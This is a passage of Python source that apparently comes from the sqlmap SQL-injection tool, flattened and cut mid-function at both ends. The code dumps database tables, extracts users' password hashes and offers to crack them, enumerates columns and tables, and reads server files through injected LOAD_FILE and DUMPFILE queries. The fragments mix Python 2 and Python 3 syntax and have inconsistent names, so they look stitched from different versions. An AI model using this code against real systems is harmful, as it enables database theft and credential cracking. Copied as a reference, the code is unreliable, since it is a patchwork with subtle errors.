"length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression( "(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None
def getStatements(self): infoMsg = "fetching SQL statements" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].statements if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query while True: values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedStatements = [] for value in arrayizeValue(values): value = (unArrayizeValue(value) or "").strip() if not isNoneValue(value): kb.data.cachedStatements.append(value.strip()) elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: query = query.replace("query", "current_query") continue break if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of statements" logger.info(infoMsg) query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedStatements elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of statements" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: value = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes query = rootQuery.blind.query3 % index identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) if not isNoneValue(identifier): query = rootQuery.blind.query2 % identifier value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) if isNoneValue(value): query = rootQuery.blind.query % index value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(value): kb.data.cachedStatements.append(value) if not kb.data.cachedStatements: errMsg = "unable to retrieve the statements" logger.error(errMsg) else: kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] return kb.data.cachedStatements
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable( "(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: for user, password in filterPairValues( _zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace( "master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) elif Backend.isDbms( DBMS.MYSQL) and (isNoneValue(values) or all( len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): values = inject.getValue(query.replace( "authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable( ) and not conf.direct: fallback = False if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True query = rootQuery.inband.query retVal = pivotDumpTable( "(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: for user, password in filterPairValues( _zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): password = "******" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): fallback = True count = inject.getValue( query.replace( "master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) elif Backend.isDbms(DBMS.MYSQL): fallback = True count = inject.getValue( query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) if fallback: query = query.replace( "master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user, ) elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) if Backend.isDbms(DBMS.MYSQL): if fallback: query = query.replace("authentication_string", "password") password = unArrayizeValue( inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list( set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise sqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(",") else: colList = [] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise sqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce or colList: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " if len(colList) > 0: if colTuple is None: colConsider, colCondParam = self.likeOrExact("column") else: colConsider, colCondParam = colTuple condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if colConsider == "1": infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: condQuery = "" infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming( tbl.upper()) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.inband.query % tbl value = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(value)) elif not isNoneValue(value): table = {} columns = {} for columnData in value: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if len(columnData) == 1: columns[name] = "" else: columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % conf.db logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " if len(colList) > 0: if colTuple is None: colConsider, colCondParam = self.likeOrExact("column") else: colConsider, colCondParam = colTuple condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if colConsider == "1": infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: condQuery = "" infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % unsafeSQLIdentificatorNaming( tbl.upper()) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = inject.getValue(query, union=False, error=False) parseSqliteTableSchema(value) return kb.data.cachedColumns count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of columns " errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) continue table = {} columns = {} for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % unsafeSQLIdentificatorNaming( tbl.upper()) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace( "'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1] ).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = inject.getValue(query, union=False, error=False) if not isNoneValue(column): if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming( tbl.upper()), column) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split( ".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = inject.getValue(query, union=False, error=False) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table if not kb.data.cachedColumns: errMsg = "unable to retrieve column names for " errMsg += ("table '%s' " % tblList[0]) if len(tblList) == 1 else "any table " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def searchTable(self): foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in list(foundTbls.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, str): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls)
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked( "LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in xrange(1, length, sustrLen): chunk = inject.getValue( "SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter, sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.isDbms(DBMS.ORACLE): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise sqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise sqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or 